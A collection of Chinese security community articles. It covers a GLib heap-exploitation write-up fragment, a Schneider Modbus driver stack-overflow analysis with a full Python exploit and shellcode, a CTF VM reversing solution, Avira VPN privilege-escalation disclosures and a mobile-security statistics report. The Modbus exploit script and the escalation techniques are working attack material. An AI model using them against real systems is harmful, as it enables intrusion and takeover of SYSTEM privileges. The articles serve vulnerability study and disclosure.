0x7f6f48006f90: 0x48006f70 0x00007f6f 0x00000000 0x00000000
0x7f6f48006fa0: 0x48006f90 0x00007f6f 0x00000000 0x00000000
0x7f6f48006fb0: 0x48006fc0 0x00007f6f 0x00000000 0x00000000
0x7f6f48006fc0: 0x48007200 0x00007f6f 0x00000000 0x00000000
如上所示，这些块在内存中并不总是连续的。比如上面的代码包括0x7f6f48006f80->0x7f6f48006fa0->0x7f6f48006f90->0x7f6f48006f70。源代码中的一条注释似乎表明这是一个经过深思熟虑的优化，称为“cache
colorization”。好消息是，尽管块偏移看起来是随机的，但它们在每次运行时都是一致的。特别是地址最低的块始终位于偏移量0x6f40处。所以我的目标是覆盖偏移量0x6f40处的下一个指针，以便下一个要分配的块是fake。
### mmap-ed区域的ASLR entropy
我之前说过，代码地址（比如系统函数的地址）上的ASLR entropy是28位，这让地址成为有效UTF8字符串的概率非常低。但是mmap-ed地址的entropy更有用，可以在上面部分的内存信息中看到，在地址0x7f6f48006f40中，只有6f48受到ASLR的影响。因此，这些地址中有一个是有效字符串的几率要高很多。我计算出概率是32.6%。唯一需要注意的是，地址中间有一个零字节，所以我需要运行两次堆溢出来写一个地址。
（第一个pass写入一个类似0x7F6F482121的地址，第二个pass写入一个稍短的字符串，用NULL成为地址中间的零字节。）因此，在GSlice分配器占用的mmap-ed区域内创建fake magazine块比较容易。
### GSlice magazine列表逆转行为
GSlice分配器的特性之一是，当magazine块被释放时，它不会被回收到分配时所在的列表中。可以在gslice.c的841行看到`thread_memory_magazine1_alloc`从弹出新块magazine1，在853行看到`thread_memory_magazine2_free`将它们回收到magazine2。这样做的结果是，单向链表被颠倒了。我可以使用这种行为来覆盖几乎任意地址的指针：通过覆盖magazine块的next指针，我可以获取下一个分配在我选择的地址处返回（fake）的块,当这个fake块被释放时，它的next指针将被前一个magazine块的地址覆盖。
## Exploit方案
到目前为止，这个漏洞让我有机会用指向我控制的内存的指针覆盖任意位置的内存。可以确定的是，这个程序很快就会崩溃，所以这个操作需要给我一个shell,我应该覆盖哪个指针?经过一些搜索之后，我发现了一个名为glib_worker_context的全局变量它包含一个名为source_lists的字段，这个字段通过间接引用指向一个名为GSourceFuncs的结构体:
struct _GSourceFuncs
{
gboolean (*prepare) (GSource *source,
gint *timeout_);
gboolean (*check) (GSource *source);
gboolean (*dispatch) (GSource *source,
GSourceFunc callback,
gpointer user_data);
void (*finalize) (GSource *source); /* Can be NULL */
/*< private >*/
/* For use by g_source_set_closure */
GSourceFunc closure_callback;
GSourceDummyMarshal closure_marshal; /* Really is of type GClosureMarshal */
};
它包含函数指针!当一个事件发生时，这些指针就会被调用，比如在`/var/
crash`中写入一个新文件。因此，我需要做的就是使用该漏洞将`glib_worker_context->source_lists`替换为一个指向内存的指针，并用指向系统的指针填充fake
GSourceFuncs。
这个方案的主要问题与之前一样:堆溢出只允许我编写有效的UTF8字符串，这将使我很难创建所有需要替换`sources_list`的fake堆对象。
### memcpy
解决方法很简单，但我花了很长时间才弄明白！我已经多次说过，字符串必须是有效的UTF8，并且不能包含任何小于0x20的字节。0x20限制是有由`parse_report`检查：
value = g_malloc ((token_p - p) + 1);
memcpy (value, p, (token_p - p));
value[(token_p - p)] = '';
for (char *c = value; c < value + (token_p - p); c++)
if (*c >= '' && *c < ' ')
*c = '?';
首先，将2GB字符串memcpy到内存中。然后，在此bsonify阶段中小于0x20的任何字节都将替换为问号字符，直到后面才进行UTF8检查。当我第一次读到这段代码时，我立即得出结论，小于0x20的字符是不可能的。但我最终意识到，memcpy
2GB需要很长时间。因此，有一个时间窗，大概是半秒左右，在此期间，我可以完全控制字符串中的字节（内存布局图中左侧的框）。所以解决方案是将所有的fake堆对象放到malloced字符串中,在那里我可以完全控制所有字节,只需要我的fake
magazine块重定向到它。而且malloced字符串的基地址正好位于内存中GSlice
magazine下面(0x101000000)，所以如果GSlice地址满足UTF8要求，那么我也能够构造一个有效的指针到malloced区域。
### 重定向到fake heap
下图显示了如何在内存中创建fake对象：
步骤如下：
1. 多次使用堆溢出在GSlice magazine中创建一个fake块，并使next指针指向将分配2GB字符串的内存区域。
2. 触发堆溢出，覆盖GSlice magazine中的fake块中的next指针。因为触发堆溢出的过程也会触发一个16字节的magazine分配，这也会导致fake块被分配和释放，所以下一个要分配的块将是malloced字符串中的第二个fake块。
3. 最后一次触发parse_report ，这样我的fake堆对象就被memcpy到malloc-ed字符串中。
4. 在`/var/crash`中快速触发一些文件事件，以便GSlice分配器在sources_list地址分配并释放一个块，这意味着它现在指向我的fake堆对象。这些事件是由一个单独的线程处理的，因此我可以memcpys时在无效字节没有被问号字符替换时触发它们。
5. 覆盖sources_list之后的下一个事件将会导致调用我的fake GSourceFuncs对象中的一个函数指针，并将我的fake GSource对象作为其第一个参数。我已经用指向系统函数指针填充了GSourceFuncs对象，并将字符串“/tmp/kev.sh”放在GSource对象中，所以接下来发生的事情就是调用我的脚本！ | 社区文章 |
# 前言
Schneider Electric Modbus Serial Driver 会监听 27700 端口，程序在处理客户端发送的数据时会导致栈溢出。
测试环境： windows xp sp3
相关文件链接
链接：https://pan.baidu.com/s/1d_-WT6gUJmbnJ8cRfCNl1g
提取码：qnpb
# 漏洞分析
下载安装程序，安装完成后，程序会监听 27700 端口
可以看到监听端口的进程名为 `ModbusDrv.exe` , 把它拿 `IDA` 打开进行后续分析。
## 定位协议处理代码
对于 `TCP` 服务端程序来说，接收数据一般是用 `recv` 函数，所以在分析未知协议的数据格式时，我们可以在 `IDA` 中搜索 `recv`
函数的引用找到对协议数据处理的部分，或者直接在 `recv` 函数下断点， 然后往接收数据的缓冲区处设置读/写断点来找到数据处理部分。
### 使用 IDA 交叉引用定位
这个程序比较简单只有一个地方引用了 `recv` 函数。
这个函数就是对 `recv` 函数进行了一层封装，作用是接收到 `len` 的数据才返回 `1` ，否则返回 `0`. 继续对这个函数进行交叉引用，
发现也只有一个函数用到了这个接收数据函数。
跳过去看看
可以发现首先接收 `7` 字节的数据， 然后从接收到的数据里面取出一些 `short` 型数据。这里我们可以发送一些数据来测试一下。
def test():
ip = "192.168.245.134"
port = 27700
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
payload = "aabbccddeeff11223344".decode("hex")
sock.send(payload)
调试器调试发现 `payload` 的前 7 个字节（ `aabbccddeeff11` ） 被接收到了缓冲区内， 由此可以确定定位到了数据处理的起始位置。
### 使用调试器的硬件断点定位
我们还可以使用调试器来快速定位数据处理的代码所在的位置。首先附加上程序， 然后给 `recv` 函数下个断点
bp recv
然后运行程序， 再次运行测试脚本。程序会在 `recv` 函数位置断下来， 此时我们可以从栈里面拿到保存数据的缓冲区地址。
单步运行到 `recv` 函数的末尾， 查看缓冲区数据，可以看到客户端发送的数据已经被存放缓冲区里面了。
此时我们在缓冲区的开头设置硬件断点。
然后继续运行， 会断在我们上面定位的函数里面
定位到数据处理部分后，我们继续往下分析。
首先接收 7 字节数据保存到 `recv_buf` 里面， 后面开始对接收的数据进行处理。在分析过程中为 `recv_buf` 创建了一个结构体辅助分析。
struct recv_struct
{
__int16 nop;
__int16 key;
__int16 size;
};
首先把输入数据的第 `3，4` 个字节按大端序存储到 `key` 这个 `short` 型变量里面， 然后把第 `5，6`个字节按大端序转成 `short`
型 减一后存储到 `control_size` 。
比如当我们输入 `aabbccddeeff11` 时， `key` 就为 `0xccdd` , 而 `control_size` 就是 `0xeefe`。
解析完开头 7 个字节的数据后，会根据 `key` 的值选择进入的分支。
当 `key` 的值为 `0xffff` 时， 会再次调用 `recv_until` 函数， 此时的缓冲区还是原来栈上面的缓冲区，而 `len`
参数则是从我们输入数据的最开始 `7` 字节里面取出的 `control_size`. 通过观察栈的布局，我们知道栈缓冲区的大小只有 `0x830` 字节。
所以这里是栈溢出。但是这个地方是无法利用的原因是该处代码下面还有一些对格式的校验，如果不对的话就会直接调用 `ExitThread` 结束线程。
继续往下看。
上述代码的逻辑首先是通过 `control_size` 接收数据， 然后把接收到的数据的开头两个字节按照大端序的方式保存到 `v14` 里面， 当
`v14` 为 `0x64` 时会进入 `handle_data` 函数对后面的数据进行进一步的处理。传入的参数就是除去两字节开头的地址和剩下的数据长度。
函数首先就会把数据复制到函数的栈缓冲区里面，查看栈帧发现 `local_buf` 只有 `0x5dc` 字节。
我们可以通过覆盖这个函数的返回地址来完成漏洞利用。
# 漏洞利用
由于是 `XP` 系统， 没有 `DEP` ， 可以采用 `jmp esp + shellcode` 的方式来完成利用。
def calc_exp():
shellcode = "\x90" * 100 # \x90 bad char bypass
shellcode += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
shellcode += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
shellcode += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
shellcode += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
shellcode += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
shellcode += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
shellcode += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
shellcode += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
shellcode += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
shellcode += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
shellcode += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
shellcode += "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
shellcode += "\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
shellcode += "\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
shellcode += "\xff\xd5\x63\x61\x6c\x63\x00"
ip = "192.168.245.134"
port = 27700
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
payload = "\xaa\xbb" # 无用字段
payload += "\xff\xff" # 保证可以进入下一个 recv
payload += "\x07\x10" # size 域， 下一个 recv 的 size
payload += "\xdd" # padding
payload += "\x00\x64" # 进入 0x64 分支， 避免 end_thread 调用 exit
payload += "A" * 0x5dc
payload += p32(0x7ffa4512) # 通用 jmp esp , xp , 2k3
payload += shellcode
payload += "B" * (0x710 - 1 - 2 - 0x5dc - 4 - len(shellcode))
sock.send(payload)
主要是要设置一些字段保证可以顺利通过前面的一些校验。
# 漏洞修复
漏洞修复比较简单就是对长度字段进行了大小校验。
# 参考链接
<https://www.exploit-db.com/exploits/45220> | 社区文章 |
基于栈的 VM 题，单纯从指令来讲并不难，只需要简单的解析一下即可分析出进行的运算，但是运算上的一些小细节加大了本题的难度。
## Analysis
main 函数没有太多的内容，主要是获取输入之后传入 vm 进行运算
运算出来的结果和正确的进行逐字节的对比
进入 vm ，程序根据指令调用不同的函数，共 19 种不同的函数
根据汇编和调试很容易看出来每一个函数的作用，可以写一个简单的 python 脚本用来分析
while i < len(opcodes):
if opcodes[i] == 0:
print(hex(i)[2:].rjust(3, '0'), "inplace_add")
i += 1
elif opcodes[i] == 1:
print(hex(i)[2:].rjust(3, '0'), "inplace_sub")
i += 1
elif opcodes[i] == 2:
print(hex(i)[2:].rjust(3, '0'), "inplace_mul")
i += 1
elif opcodes[i] == 3:
print(hex(i)[2:].rjust(3, '0'), "inplace_div")
i += 1
elif opcodes[i] == 4:
print(hex(i)[2:].rjust(3, '0'), "inplace_mod")
i += 1
elif opcodes[i] == 5:
print(hex(i)[2:].rjust(3, '0'), "inplace_and")
i += 1
elif opcodes[i] == 6:
print(hex(i)[2:].rjust(3, '0'), "inplace_or")
i += 1
elif opcodes[i] == 7:
print(hex(i)[2:].rjust(3, '0'), "inplace_xor")
i += 1
elif opcodes[i] == 8:
print(hex(i)[2:].rjust(3, '0'), "stack[TOS1]=TOS")
i += 1
elif opcodes[i] == 9:
print(hex(i)[2:].rjust(3, '0'), "TOS=stack[TOS]")
i += 1
elif opcodes[i] == 0xA:
print(hex(i)[2:].rjust(3, '0'), "if TOS==0: TOS=1 else: TOS=0")
i += 1
elif opcodes[i] == 0xB:
print(hex(i)[2:].rjust(3, '0'), "if TOS<0: TOS=1 else: TOS=0")
i += 1
elif opcodes[i] == 0xC:
print(hex(i)[2:].rjust(3, '0'), "Inplace_swap")
i += 1
elif opcodes[i] == 0xD:
print(hex(i)[2:].rjust(3, '0'), "remove_top")
i += 1
elif opcodes[i] == 0xE:
tmp = (opcodes[i+1] | (opcodes[i+2] << 8) | opcodes[i+3]
<< 16 | opcodes[i+4] << 24) & 0xffffffff
print(hex(i)[2:].rjust(3, '0'), f"push {hex(tmp)}")
i += 5
elif opcodes[i] == 0xF:
tmp = (opcodes[i+1] | (opcodes[i+2] << 8) | opcodes[i+3]
<< 16 | opcodes[i+4] << 24) & 0xffffffff
print(hex(i)[2:].rjust(3, '0'), f"jmp {hex((tmp+i+5)&0xffffffff)}")
i += 5
elif opcodes[i] == 0x10:
tmp = (opcodes[i+1] | (opcodes[i+2] << 8) | opcodes[i+3]
<< 16 | opcodes[i+4] << 24) & 0xffffffff
print(hex(i)[2:].rjust(3, '0'), f"if TOS==1: jmp {hex(i+tmp+5)}")
i += 5
elif opcodes[i] == 0x11:
tmp = (opcodes[i+1] | (opcodes[i+2] << 8) | opcodes[i+3]
<< 16 | opcodes[i+4] << 24) & 0xffffffff
print(hex(i)[2:].rjust(3, '0'), f"sub rsp,{hex(tmp)}")
i += 5
elif opcodes[i] == 0x12:
tmp = (opcodes[i+1] | (opcodes[i+2] << 8) | opcodes[i+3]
<< 16 | opcodes[i+4] << 24) & 0xffffffff
print(hex(i)[2:].rjust(3, '0'), f"return {tmp}")
i += 5
调试的时候可以发现传入该 vm 函数的并不仅仅是指令，而是一个结构体，结构体的定义如下
该 vm 是一个基于栈的 vm，所有的数据保存在栈上。调试中发现，该程序共传入了两套 vm
指令，做题时一开始以为只有一套指令，解不出结果之后才发现后续又运行了另一套指令。
为了更快做题，只是用上面写的脚本简单解析了一下这两套指令，对于虚拟机的题目，有一种处理方式是将每一个指令写成汇编指令集的形式，编译之后借助IDA等工具进行分析，好在这题的指令并不复杂，只要抓住特征很容易把算法还原出来。两套指令有相同的地方，但在运算和入栈的数据上有很大的区别。
可以很容易发现第一套指令在进行了异或操作之后，进行的是魔改版的 xtea 加密，有一个明显的特征在于进行了两次如下操作，左移 4 位，右移 5
位，异或并相加操作。
148 push 0x10
14d inplace_mul
14e push 0xd
153 TOS=stack[TOS]
154 push 0x20
159 Inplace_swap
15a inplace_div
15b inplace_xor
15c push 0xd
161 TOS=stack[TOS]
162 inplace_add
修改的地方在于 sum 的初值和 delta 不同，加密轮次也不同，秘钥、sum 和 delta 都在程序开始时入栈，很容易找。
第二套指令同样进行异或操作，但是后续进行的是魔改版的 tea 加密，特征同样也很明显，出现了两次移位，两次异或，多次相加
15a TOS=stack[TOS]
15b push 0x10
160 inplace_mul
161 push 0x0
166 push 0xe
16b inplace_add
16c TOS=stack[TOS]
16d inplace_add
16e push 0xd
173 TOS=stack[TOS]
174 push 0xb
179 TOS=stack[TOS]
17a inplace_add
17b push 0xd
180 TOS=stack[TOS]
181 push 0x20
186 Inplace_swap
187 inplace_div
188 push 0x1
18d push 0xe
192 inplace_add
193 TOS=stack[TOS]
194 inplace_add
195 inplace_xor
196 inplace_xor
197 inplace_add
sum、delta 和 key 都和第一套不同。
但是到这里题目还有很多坑没有填。
第一点就是，在一轮加密结束之后，程序会进行一次 return，与全部加密结束之后的返回值不同，返回之后程序会在 main
函数内进行下一次循环，运行另一套指令，因此两套加密是在一轮加密结束之后进行交换，轮流进行。
第二点就是，两套指令都在开头对每一个字进行了异或，都进行了一次，并且值相同（0x1010101-0xa0a0a0a），所以除了前两个字在异或之后立刻进行了一轮加密之外，后续的所有字都连续进行了两次相同的异或操作，并没有任何影响。
第三点就是与 xtea/tea 算法不同，该算法每一组字的 sum 并不重置，而是使用前一组字计算的结果继续进行，因此在解密的时候由最后一组向前进行并且将
sum 设置为全局变量是比较简单的方式。
第四点是原版 xtea/tea 基本上都是无符号数运算，但是这里的除法操作之前使用了 cdq 指令，用 EAX 的符号位填充了
EDX，很明显是一个有符号数操作。
第五点是原版 xtea/tea 使用的是右移运算，而这里用的是除法运算，这也就意味着在某些语言的处理中（比如
C），根据舍入规则的不同，有符号数的右移和除法运算的结果在最后一位上存在误差，多轮加密导致误差扩大并不断引入新的误差，因此应该使用除法的方式。
## Solution
根据上述分析可以很容易复现加密的脚本和对应的解密脚本
#include <stdio.h>
#include <stdint.h>
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[8])
{
unsigned int i;
int32_t v0 = v[0], v1 = v[1];
int32_t delta1 = 123456789, base1 = 987654321, sum1 = base1;
int32_t delta2 = 0x154cbf7, base2 = 0x5eeddead, sum2 = base2;
v0 ^= 0x1010101;
v1 ^= 0x2020202;
printf("%x %x\n", v0, v1);
v0 += (((v1 << 4) ^ (v1 / 32)) + v1) ^ (sum1 + key[sum1 & 3]);
sum1 += delta1;
v1 += (((v0 << 4) ^ (v0 / 32)) + v0) ^ (sum1 + key[(sum1 / 0x800) & 3]);
printf("%x %x\n", v0, v1);
v0 ^= 0x1010101;
v1 ^= 0x2020202;
printf("%x %x\n", v0, v1);
sum2 += delta2;
v0 += ((v1 << 4) + key[4]) ^ (v1 + sum2) ^ ((v1 / 32) + key[5]);
v1 += ((v0 << 4) + key[6]) ^ (v0 + sum2) ^ ((v0 / 32) + key[7]);
printf("%x %x\n", v0, v1);
for (i = 1; i < num_rounds; i++)
{
v0 += (((v1 << 4) ^ (v1 / 32)) + v1) ^ (sum1 + key[sum1 & 3]);
sum1 += delta1;
v1 += (((v0 << 4) ^ (v0 / 32)) + v0) ^ (sum1 + key[(sum1 / 0x800) & 3]);
printf("%x %x\n", v0, v1);
sum2 += delta2;
v0 += ((v1 << 4) + key[4]) ^ (v1 + sum2) ^ ((v1 / 32) + key[5]);
v1 += ((v0 << 4) + key[6]) ^ (v0 + sum2) ^ ((v0 / 32) + key[7]);
printf("%x %x\n", v0, v1);
}
v[0] = v0;
v[1] = v1;
}
int32_t delta1 = 123456789, base1 = 987654321, sum1 = delta1 * 0x14 * 5 + base1;
int32_t delta2 = 0x154cbf7, base2 = 0x5eeddead, sum2 = delta2 * 0x14 * 5 + base2;
void decipher(unsigned int num_rounds, uint32_t v[2], int32_t const key[8])
{
unsigned int i;
int32_t v0 = v[0], v1 = v[1];
for (i = 1; i < num_rounds; i++)
{
v1 -= ((v0 << 4) + key[6]) ^ (v0 + sum2) ^ ((v0 / 32) + key[7]);
v0 -= ((v1 << 4) + key[4]) ^ (v1 + sum2) ^ ((v1 / 32) + key[5]);
sum2 -= delta2;
v1 -= (((v0 << 4) ^ (v0 / 32)) + v0) ^ (sum1 + key[(sum1 / 0x800) & 3]);
sum1 -= delta1;
v0 -= (((v1 << 4) ^ (v1 / 32)) + v1) ^ (sum1 + key[sum1 & 3]);
}
v1 -= ((v0 << 4) + key[6]) ^ (v0 + sum2) ^ ((v0 / 32) + key[7]);
v0 -= ((v1 << 4) + key[4]) ^ (v1 + sum2) ^ ((v1 / 32) + key[5]);
sum2 -= delta2;
v0 ^= 0x1010101;
v1 ^= 0x2020202;
v1 -= (((v0 << 4) ^ (v0 / 32)) + v0) ^ (sum1 + key[(sum1 / 0x800) & 3]);
sum1 -= delta1;
v0 -= (((v1 << 4) ^ (v1 / 32)) + v1) ^ (sum1 + key[sum1 & 3]);
v0 ^= 0x1010101;
v1 ^= 0x2020202;
v[0] = v0;
v[1] = v1;
}
void decipher2(unsigned int num_rounds, uint32_t v[2], int32_t const key[8])
{
unsigned int i;
int32_t v0 = v[0], v1 = v[1];
for (i = 0; i < num_rounds; i++)
{
v1 -= ((v0 << 4) + key[6]) ^ (v0 + sum2) ^ ((v0 / 32) + key[7]);
v0 -= ((v1 << 4) + key[4]) ^ (v1 + sum2) ^ ((v1 / 32) + key[5]);
sum2 -= delta2;
v1 -= (((v0 << 4) ^ (v0 / 32)) + v0) ^ (sum1 + key[(sum1 / 0x800) & 3]);
sum1 -= delta1;
v0 -= (((v1 << 4) ^ (v1 / 32)) + v1) ^ (sum1 + key[sum1 & 3]);
}
v[0] = v0;
v[1] = v1;
}
int main()
{
uint32_t v[10] = {
0xAEE0FAE8, 0xFC3E4101, 0x167CAD92, 0x51EA6CBE, 0x242A0100, 0x01511A1B, 0x514D6694, 0x2F5FBFEB,
0x46D36398, 0x79EEE3F0};
int32_t const k[8] = {0x0000494C, 0x00006F76, 0x00006520, 0x00004355, 0x00005354, 0x00004F4D, 0x00002074, 0x00006561};
unsigned int r = 0x14;
for (int i = 8; i >= 2; i -= 2)
{
uint32_t tmp_v[] = {v[i], v[i + 1]};
decipher2(r, tmp_v, k);
v[i] = tmp_v[0];
v[i + 1] = tmp_v[1];
}
decipher(r, v, k);
for (auto i : v)
{
while (i != 0)
{
printf("%c", i & 0xff);
i >>= 8;
}
}
return 0;
} | 社区文章 |
# 分析Avira VPN的两处提权漏洞
|
##### 译文声明
本文是翻译文章，文章原作者 enigma0x3.net，文章来源：enigma0x3.net
原文地址：<https://enigma0x3.net/2019/03/20/avira-vpn-2-15-2-28160-elevation-of-privilege-through-insecure-update-location/>
译文仅供参考，具体内容表达以及含义原文为准。
## 提权漏洞一
### 测试环境
* 软件版本：Avira Phantom VPN version 2.15.2.28160
* 下载链接：<https://package.avira.com/package/oeavira/win/int/avira_en_vpn__ws.exe>
* 测试系统：Windows 10 1803 (x64)
* 漏洞类别：Avira VPN权限提升漏洞
### 漏洞描述
当用户在VPN设置菜单中修改配置信息时，Avira Phantom
VPN服务会修改`C:\ProgramData\Avira\VPN\VpnSharedSettings.backup`以及`C:\ProgramData\Avira\VPN\VpnSharedSettings.config`的DACL。如果攻击者在`C:\ProgramData\Avira\VPN\VpnSharedSettings.backup`设置硬链接（hardlink），就有可能覆盖任意文件上的DACL，最终将低权限用户提升至`SYSTEM`权限。
### 漏洞分析
当用户通过VPN
GUI修改配置时，VPN服务（即`Avira.VPNService.exe`）就会调用`Avira.VPN.Core.dll`中的`AdjustSecurity()`函数来修改DACL，使通过身份认证的用户能将数据写入`C:\ProgramData\Avira\VPN\VpnSharedSettings.backup`或者`C:\ProgramData\Avira\VPN\VpnSharedSettings.config`中。当修改配置后（低权限用户可以执行该操作），该服务就会调用`EnsureFileExists()`，确保系统中存在“共享的”VPN配置文件（`C:\ProgramData\Avira\VPN\VpnSharedSettings.backup`以及`C:\ProgramData\Avira\VPN\VpnSharedSettings.config`）。
如果配置文件不存在，目标服务就会创建该文件；如果配置文件存在，目标服务会继续调用`StorageSecurity.AdjustSecurity()`函数。对于共享及私有配置文件，传入的`StorageType`分别为`AllUserAccess`或者`Secure`。“私有”VPN配置文件对应的是`Secure`存储类型，而共享型配置文件对应的是`AllUserAccess`类型。
当目标服务调用`AdjustSecurity()`函数时（传入配置文件的存储类型），就会适当调整文件对应的DACL，这就是存在问题的地方。对于“共享型”配置文件（`StorageType`为`AlluserAccess`），VPN服务会调用`AdjustSecurity()`，授予每个人对该文件的完全控制权限：
这种操作非常危险，因为`SetAccessControll()`会修改文件的DACL，而低权限用户可以控制该文件。那么，我们如何利用这一点呢？
首先，攻击者需要在`C:\ProgramData\Avira\VPN\VpnSharedSettings.backup`上创建硬链接，将其指向某个文件，这里我们将其指向`C:\Program
Files (x86)\Avira\VPN\OpenVPN\phantomvpn.exe`，这样我们就能覆盖`C:\Program Files
(x86)\Avira\VPN\OpenVPN\phantomvpn.exe`的DACL。
执行该操作后，我们可以打开VPN应用，点击“Settings”标签页：
随后，取消设置“Send Diagnostic Data”，这样就会触发配置文件修改操作，进入目标代码路径。
此时，`C:\Program Files
(x86)\Avira\VPN\OpenVPN\phantomvpn.exe`的DACL已经被覆盖，任何用户都可以写入该文件。攻击者现在只需要复制一个恶意程序，替换该文件即可。
完成该操作后，攻击者需要尝试连接VPN就能执行该恶意程序，只需点击VPN GUI中的“Secure my Connection”按钮即可。
点击“Secure my Connection”按钮后，我们应该能看到以`SYSTEM`权限运行的一些`cmd.exe`进程。
### 披露时间
* 2018年9月28日：向Avira反馈漏洞
* 2018年10月1日：Avira确认漏洞报告
* 2018年12月4日：Avira复现该漏洞
* 2018年12月13日：修复该问题
## 提权漏洞二
### 测试环境
* 软件版本：Avira Phantom VPN
* 下载链接：<https://package.avira.com/package/oeavira/win/int/avira_en_vpn__ws.exe>
* 测试系统：Windows 10 1709 (x64)
* 漏洞类别：Avira VPN权限提升漏洞
### 漏洞描述
Avira Phantom
VPN服务在检查更新时，会执行一些检查操作（服务启动时就会执行检查更新操作，因此系统启动时或者用户手动启动该服务都会执行这些操作）。开始更新时，VPN服务会将更新文件下载到`C:\Windows\Temp\`的`AviraVPNInstaller.exe`，而任何用户都可以写入该文件。随后，目标服务会检查文件是否经过签名，并且版本号是否高于已安装产品的版本。如果满足这些条件，那么目标服务就会以`SYSTEM`权限运行下载的更新程序。攻击者可以使用经过签名的、有效的Avira可执行文件来替换`AviraVPNInstaller.exe`，而这个Avira可执行文件会查找当前目录中的各种DLL。根据DLL的搜索顺序，攻击者有可能将DLL植入`C:\Windows\Temp`目录中，最终提升至`NT
AUTHORITY\SYSTEM`权限。
### 漏洞分析
当Avira VPN服务（`Avira.VPNService.exe`，版本号2.15.2.28160）启动时，会检查是否存在更新版本：
一番分析后，我们发现该VPN服务会使用`C:\Windows\Temp`目录来更新程序：
大家可能都知道，经过身份认证的任何用户都可以向`C:\Windows\Temp`目录中写入文件（但不能读取）。一旦更新文件已存在该目录中（`C:\Windows\Temp\AviraVPNInstaller.exe`），目标VPN服务就会检查可执行文件的`FileVersion`属性，判断该“更新”是否已安装到目标系统中：
如果该文件版本尚未安装到系统中，则目标服务会检查文件，确保该文件为有效文件，并且经过Avira签名：
如果该文件的确是Avira签名的有效文件，那么VPN服务就会运行这个“更新”包。由于低权限用户可以写入这个过程中涉及的文件，因此有可能劫持更新包，发起DLL侧加载（sideload）攻击。
为了劫持`AviraVPNInstaller.exe`，攻击者需要满足如下3个条件：
1、`AviraVPNInstaller.exe`必须带有Avira签名；
2、`AviraVPNInstaller.exe`上的签名必须有效（对该文件的任何修改都会破坏签名有效性）；
3、`AviraVPNInstaller.exe`对应的版本号必须尚未安装到目标系统中。
这意味着我们需要滥用某个Avira签名文件，并且该文件版本号还要大于已部署的版本。
经过一番搜索后，我们发现`ToastNotifier.exe`满足这些条件：
> `ToastNotifier.exe`来自于Avira
> Antivirus产品套装中，根据Antivirus平台上之前的一份漏洞报告，我们可以使用类似的方式来滥用这个文件。
为了利用该文件，我们只需要将`ToastNotifier.exe`复制到`C:\Windows\Temp\AviraVPNInstaller.exe`。由于所有条件都已满足，VPN服务就会在启动时以`SYSTEM`权限运行该文件。攻击者可以通过重启操作、或者以管理员身份运行powershell，依次执行`Get-Service AviraPhantomVPN | Stop-Service`以及`Get-Service AviraPhantomVPN | Start-Service`来启动服务。一旦成功执行，`ToastNotifier.exe`（现在是`C:\Windows\Temp\AviraVPNInstaller.exe`）就会尝试从`C:\Windows\temp`目录中加载一系列DLL：
为了将权限提升至`SYSTEM`，我们只需要植入其中一个DLL即可，这里我们选择劫持`cryptnet.dll`。这样VPN服务就会以`SYSTEM`权限执行我们的`AviraVPNInstaller.exe`程序，后者会以`SYSTEM`权限加载`cryptnet.dll`，这正是我们的恶意代码。最终，我们的低权限用户可以成功提升至`SYSTEM`权限：
### 披露时间
* 2018年9月28日：将漏洞提交至Avira
* 2018年10月1日：Avira复现该漏洞
* 2018年12月13日：Avira修复该漏洞 | 社区文章 |
# 360权威发布《2020上半年中国手机安全状况报告》
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近日，基于2020年上半年手机安全数据，360安全大脑与中国信通院联合发布《2020上半年手机安全状况报告》。报告立足新冠疫情的大背景，从恶意程序、钓鱼网站、骚扰电话、垃圾短信及手机诈骗五大维度，系统地解读了当下国内手机用户面临的信息安全问题。
## 看小电影，丢大钱！
### 恶意程序中，资费消耗类占八成！色情视频APP为主要“工具”
2020年上半年度，360安全大脑共截获移动端新增恶意程序样本约104.8万个，平均每天截获新增手机恶意程序样本约0.6万个。其中，资费消耗类占比82.0%。色情视频APP为主要“工具”。
## 暴富不成，被鱼肉~
### 境外彩票、金融证券占钓鱼网站近8成！
2020年上半年度，360安全大脑共截获各类新增钓鱼网站2416.3万个，其中，境外彩票类占据首位，占比39.5%；其次为金融证券类，占比39.2%。第一季度受疫情原因影响，部分大众收入来源遭受影响，导致贷款诈骗案件频发。
## 骚扰之王–“响一声”
### 疫情期间，骚扰不断。6成骚扰电话是“响一声” ！
2020年上半年度，360手机卫士共为全国用户识别和拦截各类骚扰电话约98.3亿次，平均每天识别和拦截骚扰电话约0.5亿次。2020年第一季度疫情爆发时期，骚扰电话的传播似乎并没有受到疫情影响，依旧呈现高发态势。
## 最强短信轰炸机
### 106号段，占垃圾短信号源的86.4%
2020年上半年度，360手机卫士共为全国用户拦截各类垃圾短信约74.9亿条，垃圾短信的类型分布中广告推销短信最多，占比为94.8%。短信平台106开头号段依然是传播垃圾短信的主要号源，占比高达86.4%；
## 我90后，太南了
### 受害者近六成是男性，90后居多，籍贯可能是广东！
2020年上半年度，从举报用户的性别差异来看，男性受害者占58.8%，女性占41.2%。从人均损失来看，男性为8929元，女性为11616元。
## 疫情诈骗，太可恶！
